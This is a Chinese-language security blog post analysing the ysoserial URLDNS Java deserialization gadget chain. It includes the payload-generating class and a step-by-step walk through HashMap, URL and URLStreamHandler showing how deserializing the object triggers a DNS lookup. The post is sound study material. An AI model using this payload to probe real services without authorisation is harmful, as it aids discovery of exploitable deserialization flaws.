JAVA反序列化之URLDNS鏈分析


前言

從之前shiro、fastjson等反序列化漏洞剛曝出的時候,就接觸ysoserial的工具利用了,不過這么久都沒好好去學習過其中的利用鏈,這次先從其中的一個可以說是最簡單的利用鏈URLDNS開始學起。

分析

單獨看URLDNS的利用鏈,ysoserial的URLDNS代碼:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

復制到IDEA中,並導入ysoserial的jar包,當然也可以直接構建生成整個ysoserial項目,然后找到對應的java文件進行調試。

先看下整體代碼:

public class URLDNS implements ObjectPayload<Object> {

    public Object getObject(final String url) throws Exception {

        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap ht = new HashMap();
        URL u = new URL(null, url, handler); 
        ht.put(u, url); 
        Reflections.setFieldValue(u, "hashCode", -1); 
        return ht;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

可看到代碼量其實很少,這里簡單介紹下getObject方法就是ysoserial調用生成payload的方法,先生成個poc並調試下,在調試配置處填入對應的測試參數:http://xxxxx.v1ntlyn.com

直接在PayloadRunner.run(URLDNS.class, args);處下斷點,后面一步步跟隨程序運行,查看序列化生成的過程image-20200811214840269

一步步跟入后,后面會來到ht.put(u, url);

這里的url值就是我們傳入的參數,后面重點跟入分析。

這里查看下hashmap類的put方法,

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

這里又調用了putVal函數,而這里的key就是我們上面的url對象,並且key還是作為hash方法的參數,繼續跟入hash方法,

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

跟入到hash方法后,發現這里調用了key.hashCode(),而這里的key就是java.net.URL對象,繼續跟入查看URL類的hashcode方法,

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

而這里當hashCode值不為-1時,就會調用SilentURLStreamHandler類的hashCode方法,而我們知道,SilentURLStreamHandler類是URLStreamHandler抽象類的子類,再查看其Hashcode方法,

發現最終會調用getHostAddress方法,於是整條利用鏈就大概清晰了。

不過這是生成序列化對象過程調試,后面繼續跟入反序列化的readObject查看下整條鏈的過程。

直接來到Hashmap類的readObject方法的putVal()下斷點:

putVal(hash(key), key, value, false, false);

putVal方法中會調用hash方法,其中,hash方法的參數是一個java.net.URL對象,跟入hash方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

這里又調用了key的hashcode方法,而這里的key是java.net.URL對象,跟入查看URL類的hashcode方法

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
        hashCode = handler.hashCode(this);
        return hashCode;
    }

這里hashCode不為-1的話就直接返回了,handler是URLStreamHandler對象,繼續跟進其hashCode方法。

protected int hashCode(URL u) {
        int h = 0;
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
       ...
    }

到這里我們發現調用了getHostAddress方法,其實到這里就已經可以不用再跟入了,整條利用鏈已經很清晰了。

不過為了進一步理解poc的生成,我們繼續跟入下getHostAddress方法,

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

之所以重寫返回null是因為為了不會發起兩次DNS請求,在序列化的時候重寫getHostAddress方法就不會去執行到InetAddress.getByName(host); 這樣生成poc的時候就只有在反序列化的時候才發起一次DNS請求

static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

所以,要完成這個反序列化,首先要實例化一個hashmap對象,並初始化一個URL對象,作為key放在hashmap對象中,還要設置hashcode的值為-1,才能調用到后面的getHostAddress方法從而發起dns請求。

最后簡單總結下整條鏈:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

Reference:

https://govuln.com/attachment/627/

https://www.cnblogs.com/ph4nt0mer/p/11994384.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM